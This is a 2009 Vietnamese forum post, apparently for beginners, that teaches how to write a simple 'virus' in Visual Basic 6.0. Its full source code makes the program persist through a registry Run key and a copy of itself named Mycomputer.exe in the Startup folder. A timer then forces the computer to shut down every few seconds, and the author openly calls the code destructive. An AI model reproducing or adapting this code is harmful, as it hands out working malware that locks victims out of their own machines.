Chia Sẽ Kinh Nghiệm Về IT



Tìm Kiếm Với Google
-


Gởi Ðề Tài Mới  Gửi trả lời
 
Công Cụ Xếp Bài
Tuổi 04-11-2009, 10:35 PM   #1
hoctinhoc
Guest
 
Trả Lời: n/a
Hướng dẫn lập trình Worm,Virus bằng VB 6.0
Hướng dẫn lập trình Worm,Virus bằng VB 6.0


Định nghĩa virus và worm chắc là mọi người đều đã biết, hôm nay tôi xin giới thiệu một cách tạo virus đơn giản nhất với công cụ là VB 6.0
Tác dụng con này là tắt máy tính ( mang tính phá hoại )
Mức độ : Mới học !

Để làm được con này bạn cần khởi tạo 1 project mới, tạo 1 form , tạo 1 timer với thuộc tính interval =100, Enable = true .
Click kép vào form xuất hiện như sau :

Trích dẫn:


Private Sub Form_Load()

End Sub

tại đây bạn copy đoạn code này và pase vào nhé :


Trích dẫn:


Private Sub Form_Load()
'biến tenfile này để lấy đường dẫn tới file mà sau khi bạn dịch project này thành exe nó sẽ lấy được chính xác đường dẫn nó đang ở đâu.
tenfile = App.Path & "\" & App.EXEName & ".exe"
'tiếp đến là gọi thủ tục chaykhoidong để kích hoạt sự lây nhiễm.
chaykhoidong
'sau khi chạy song thì thoát
End Sub
Tiếp đến bạn copy đoạn code sau vào và pase sau phần form load nhé
code thủ tục chaykhoidong này:

Trích dẫn:


Private Sub chaykhoidong()
'Tạo đối tượng wscript
Dim objReg As Object
Set objReg = CreateObject("wscript.shell")
' Ghi giá trị vào Registry mục đích là khởi động win là chạy luôn cùng nó
objReg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & "Run", App.Path & "\" & App.EXEName & ".exe"
'Sau khi đã ghi vào Registry ròi, tiếp nữa là copy vào thư mục khởi động
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Mycomputer.exe"
' sau đó kết thúc
End Sub



Tiếp đến là phần phá hoại này. Click kép vào timer nhé, nó sẽ cho ta đánh code vào nó các bạn oánh các code sau vào :


Trích dẫn:


Private Sub Timer1_Timer()
"Tắt máy tính cho biết tay saui 05'' nó sẽ tắt máy
Shell "Shutdown.exe -s -t 05 ", vbMaximizeFocus - r
' Bồi thêm thằng này nữa cho chắc ăn sợ thằng trước có thằng nó oánh lệnh shutdown nhanh ơn 5"
Shell "rundll32.exe user.exe,exitwindows"
End Sub


  Trả lời ngay kèm theo trích dẫn này
Gửi trả lời


Công Cụ
Xếp Bài

Quyền Hạn Của Bạn
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Mở
Hình Cảm xúc đang Mở
[IMG] đang Mở
Mã HTML đang Tắt




Bây giờ là 04:46 PM. Giờ GMT +7



Diễn đàn tin học QuantriNet
quantrinet.com | quantrimang.co.cc
Founded by Trương Văn Phương | Developed by QuantriNet's members.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.